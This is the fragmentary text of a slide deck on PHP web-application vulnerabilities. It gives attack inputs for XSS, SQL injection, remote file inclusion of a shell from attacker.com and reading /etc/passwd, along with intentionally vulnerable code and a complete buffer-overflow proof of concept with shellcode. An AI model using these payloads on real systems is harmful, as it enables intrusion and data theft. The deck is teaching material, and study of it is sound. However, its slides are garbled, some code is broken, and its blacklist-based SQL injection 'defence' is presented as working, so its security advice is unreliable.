PHP Fuzzing in Action
PHP Fuzzing in Action
Contents
Introduction What is PHP? History Of PHP What's a security vulnerability? Types of PHP Attacks
Disclaimer
Do not use anything you learn here for nefarious purposes
Source: seo-creative.co.uk
File Inclusion
Other Web Application bug
634.620
124.878
SQL Injection
Brute force attack
98.250
10.145
Source: zone-h.org
PHP 3 (1998) added support for ODBC data sources, multiple platform support, email protocols (SNMP,IMAP), and new parser written by Zeev Suraski and Andi Gutmans . PHP 4 (2000) became an independent component of the web server for added efficiency. The parser was renamed the Zend Engine. Many security features were added. PHP 5 (2004) adds Zend Engine II with object oriented programming, robust XML support using the libxml2 library, SOAP extension for interoperability with Web Services, SQLite has been bundled with PHP
Source: Netcraft
WHAT IS SECURITY?
What is Security?
Its is also a growing problem that requires an continually evolving solution. As far as application design goes, security must be considered at all times; initial spec, implementation, testing and even maintenance.
2. ESCAPE output
Client browser MYSQL database
Forms
Filter
PHP Script
Escape
Referer, etc.
MYSQL
TYPE OF ATTACKS
Type Of Attacks
Cross Site Scripting (XSS) / CRLF [Medium] SQL Injection [medium] HTTP Response Splitting [Medium] Dynamic Evaluation Vulnerabilities [High] Process Control / PHP Code Injection (HIGH) Local / Remote file inclusion (High) File Management (HIGH) Buffer overflows (High, But Hard Usage) Cookie / Session injection / Fixation / [High] Denial Of service [Medium, But Hard Assessment] XPath Injection [XML Functions] Often Misused: File Uploads (High) Un-Authorize summon of Functionality / File (Medium) Authentication Bypass with Brute Force (Low) Insecure Randomness Session / Cookie / Backup files (Medium) Informative details in HTML Comments (Low) Default unnecessary installation files (medium) Regular Expression Vulnerability (High) Resource Injection (Medium) Week Password / Encryption: (Low)
index.php?error=<script>alert(document.cookie)</script>
Defence : <?php $error_message = $_GET['error']; print htmlspecialchars($error_message ); ?>
2.SQL Injection
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.
Example 1: <?php $id= $_GET['id']; $query= "SELECT * FROM users WHERE id= ' .$id." ;" ... ?>
index.php?id=1+UNION+SELECT+1,@@version,3,4,5+from+users/*
Defence: <?php $title = $_POST['title']; $description = $_POST['description']; $dirtystuff = array("\"", "\\", "/", "*", "'", "=", "", "#", ";", "<", ">", "+", "%"); whatever is in the quotes - in this example, it replaces the value with nothin $title = str_replace($dirtystuff, "", $title); // works! $description = str_replace($dirtystuff, "", $description); // works!
2- Global Function vulnerability: Register Global is Dangerous "PHP Extension": When on, register_globals will inject your scripts with all sorts of variables, like request variables from HTML forms.
Admin.php <?php if (isset($is_admin)) { //Yes, I'm the admin so call the Administration Pannel [...] } else { //No, I'm not the admin [...] } ?> # admin.php?is_admin=1
<? ... $btype = $_GET['backuptype']; $cmd = "cmd.exe /K \"c:\\util\\rmanDB.bat " . $btype . "&&c:\\utl\\cleanup. bat\""; system(cmd); ... ?> <?php $install = $_REQUEST['install_command']; eval($install); ?> install.php?install_command=phpinfo();
Or [real world] : <?php [...] $register_poll_vars = array("id","template_set","action"); for ($i=0;$i<sizeof($register_poll_vars);$i++) { if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) { eval("\$$register_poll_vars[$i] = \"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";"); } elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) { eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";"); } else { eval("\$$register_poll_vars[$i] = '';"); }} [...] ?> $$register_poll_vars[$i] is variable input by user . http://[target]/comments.php?id=";[PHPCODE]//&template_set=";[PHPCODE]//&action=";[PHPCODE]//
<?php include('../geshi.php'); if ( isset($_POST['submit']) ) //* { //* if ( get_magic_quotes_gpc() ) $_POST['source'] = stripslashes($_POST['source']); if ( !strlen(trim($_POST['source'])) ) { //BUG is HERE $_POST['source'] = implode('', @file('../geshi/' . $_POST['language'] . '.php')); $_POST['language'] = 'php'; } ?>
Remote: Remote File Inclusion attacks allow malicious users to run their own PHP code on a vulnerable website. The attacker is allowed to include his own (malicious) code in the spac e provided for PHP programs on a web page. For instance, a piece of vulnerable PHP code would look like this: <?php if (eregi("theme.php", $_SERVER['PHP_SELF'])) die(); global $theme, $_FNROOTPATH,$lang; //<-- REQUEST Variable global $forumback, $forumborder; $_FN['table_background']=&$forumback; $_FN['table_border']=&$forumborder; if ($forumback=="" && $forumborder==""){ $forumback="ffffff"; $forumborder="000000"; } // Load File require_once ($_FNROOTPATH . "themes/$theme/theme.php"); ... ?>
http://localhost/~flatnux/index.php?_FNROOTPATH=http://attacker.com/shell.php%00
7.File Management
There is a few PHP functions are used for File Management, if a lazy programmer doesnt check input variables as well, This issue can be a high critical flow.
Copy Function: <?php $file = $_GET['cpFile']; $newfile = "/user/local/www/html/tmp/file.php"; if (!copy($file, $newfile)) { echo "failed to copy $file...\n"; } else { echo " thanks .." } ?>
Attacker can copy other files such as: '/etc/passwd' into '$newfile' and read it . http://victim.com/index.php?cpfile=/etc/passwd
Other Dangerous Functions, you can see following : File Deletion [see PHP.Net]: Rmdir unlink delete fwrite
8.Buffer overflows
When Programmer used From Dangerous functions, such as: confirm_phpdoc_compiled mssql_pconnect mssql_connect crack_opendict snmpget ibase_connect So buffer overflow issue may occur In above functions (probably)
Example of Buffer overflows (snmpget()): <?php $host = $_GET['host']; $timeout = $_GET['timeout']; $syscontact = snmpget("$host", "public", "$timeout"); ?>
Exploit: <?php // PHP 4.4.6 snmpget() object id local buffer overflow poc exploit // rgod [-> R.I.P] + Edited By Abysssec INC // site: http://retrogod.altervista.org // win xp sp2 version if (!extension_loaded("snmp")){ die("you need the snmp extension loaded."); } $____scode= "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\x6d\x13\x86\x7c". //WinExec "\xff\xd3". "\x31\xc0". "\x50". "\xbb\xda\xcd\x81\x7c". //ExitProcess "\xff\xd3". "\xe8\xe0\xff\xff\xff". "\x63\x6d\x64". "\x2e". "\x65". "\x78\x65". "\x20\x2f". "\x63\x20". "start notepad & "; $edx="\x64\x8f\x9b\x01"; //jmp scode $eip="\x73\xdc\x82\x7c"; //0x7C82DC73 jmp edx $____suntzu=str_repeat("A",188).$edx.str_repeat("A",64).$eip.str_repeat("\x 90",48).$____scode.str_repeat("\x90",48); //more than 256 chars result in simple eip overwrite $curl = curl_init(); //Send Time out curl_setopt ($curl, CURLOPT_URL, "http://target.com/snmp.php?host=127.0. 0.1&timeout=$____suntzu"); curl_exec ($curl); curl_close ($curl); ?>
Session Validation
Defence: <?php session_start(); $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']); if (empty($_SESSION)) $_SESSION['key'] = $chk; else if ($_SESSION['key'] != $chk) session_destroy();
?>
10.Denial Of service
Web applications are particularly susceptible to denial of service attacks. A web application cant easily tell the difference between an attack and ordinary traffic. There are many factors that contribute to this difficulty, but one of the most important is that, for a number of reasons, IP addresses are not useful as an identification credential. Because there is no reliable way to tell where an HTTP request is from, it is very difficult to filter out malicious traffic. For distributed attacks, how would an application tell the difference between a true attack?
<?php //.... $user_mode=$_SERVER['HTTP_USER_AGENT']; $user_ip=$_SERVER['SERVER_ADDR']; $sql = "INSERT INTO tbl_name (..) VALUES($user_mode,$user_ip);"; //Summon Myssql For each Request and Write into it. //.. ?>
1.xml : <?xml version="1.0" encoding="UTF-8"?> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
Good Query : Index.php?test=from Good Result : Array ( [0] => SimpleXMLElement Object ( [0] => Jani ) ) Bad Query : Index.php?test=* Good Result For US ! : Array ( [0] => SimpleXMLElement Object ( [0] => Tove ) [1] => SimpleXMLElement Object ( [0] => Jani ) [2] => SimpleXMLElement Object ( [0] => Reminder ) [3] => SimpleXMLElement Object ( [0] => Don't forget me this weekend! ) )
<?php $udir = './'; // Relative path under Web root $ufile = $udir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $ufile)) { echo "Valid upload received\n"; } else { echo "Invalid upload rejected\n"; } ?>
In this example attacker can load admin function without authorize to it: # index.php?action=upload
Questions
Refrence:
[1] www.Abysssec.com [2] Encoding a Taxonomy of Web Attacks with Different-Length Vectors, Gonzalo Alvarez, Slobodan Petrovic, February 1, 2008 Available at http://arxiv.org/abs/cs/0210026v1 [3] Blind SQL Injection available at http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html#overview [4] PHP Security, Kevin Schroeder , Zend Technologies [5] PHP http://en.wikipedia.org/wiki/PHP [6] PHP An Introduction ,Albert Morita UCR Libraries Systems Dept.,December 9, 2004,Version 2.0 [7] PHP Security , CS-422, from The Linux Journal Oct 2002 author: Nuno Lourereio [8] PHP Tainted variables An idea whose time has come, Wietse Venema IBM T.J. Watson Research CenterHawthorne, NY, USA [9] Developing Web Applications with PHP, Jeff Jirsa [10] Advanced PHP Security, By: Ilia Alshanetsky [11] SOA Way of Writing PHP http://www.dimuthu.org/blog/ 2008/09/20/soa-way-of-writing-php [11] Technologies Overview http://w3techs.com/technologies [12] Usage of server-side programming languages for websites http://w3techs.com/technologies/overview/programming_language/all [13] Taking a look at PHP 6 http://jero.net/articles/php 6 http://naghashiekhial.persianblog.ir/post/ 10 [ 14] http://ceit.aut.ac.ir/~hshahriari/publications/What-is-security.htm [ 15] [16] PHP Security http://www.phpfreaks.com/tutorial/php -security [17] Security http://www.php.net/manual/fa/security.intro.php [18] PHP Security Mistakes http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes [19] PHP Security Guide http://phpsec.org/projects/guid / [20] Attacking Applications Via XSS Proxies http://ha.ckers.org/blog/ 20060718/attacking-applications-via-xss-proxies [21] CRLF Injection attacks and HTTP Response Splitting http://www.acunetix.com/websitesecurity/crlf -injection.htm [22] SQL Injection: How To Prevent Security Flaws In PHP / MySQL http://www.learnphponline.com/security/sql -injection-prevention-mysql-php [23] MySQL - SQL Injection Prevention http://www.tizag.com/mysqlTutorial/mysql -php-sql-injection.php [24] Web applications attacks/SQL injection http://www.aldeid.com/index.php/Web_applications_attacks/SQL_injection [25] Best way to stop SQL Injection in PHP http://stackoverflow.com/questions/ 60174/best-way-to-stop-sql-injection-in-php [25] HTTP Response Splitting https://www.owasp.org/index.php/HTTP_Response_Splitting [26] HTTP response splitting http://en.wikipedia.org/wiki/HTTP_response_splitting [27] HTTP response splitting and mail headers splitting attacks http://artur.ejsmont.org/blog/content/http -response-splitting-and-mail-headers-splitting-risk [28] Securing Apache http://www.linuxforu.com/developers/securing-apache%E2%80%94part-5 [29] Dynamic Evaluation Vulnerabilities in PHP applications http://forum.tornevall.net/showthread.php? 119471-Dynamic-Evaluation-Vulnerabilities-in-PHP-applications [30] Dynamic Variable Evaluation http://cwe.mitre.org/data/slices/ 661.html / [31]PHP Remote File Inclusion command shell using data:// http://www.idontplaydarts.com/ 2011/03/php-remote-file-inclusion-command-shell-using-data-stream [32] Avoiding Buffer Overflows http://developer.apple.com/library/mac/#documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html / [33] Return Oriented Exploitation (ROP) http://www.offensive-security.com/vulndev/return -oriented-exploitation-rop [34] Buffer Overflows in SSH and PHP http://linuxdevcenter.com/pub/a/linux/ 2002/12/30/insecurities.html / [35] We must be doing something right! http://www.counter -currents.com/ 2011/04/we-must-be-doing-something-right [36] Stop XPath injection attacks in their tracks with NetScaler Application Firewall http://community.citrix.com/display/ocb/ 2010/09/21/Stop+XPath+injection+attacks+in+their+tracks+with+NetScaler+Application+Firewall;jsessionid=B 2F569B4D6D046F0E9E245870 FC4F288 [37] XPath injection in XML databases http://palisade.plynt.com/issues/ 2005Jul/xpath-injection / [38] Injection attacks, its not just SQL! http://www.securityninja.co.uk/application -security/injection -attacks-its-not-just-sql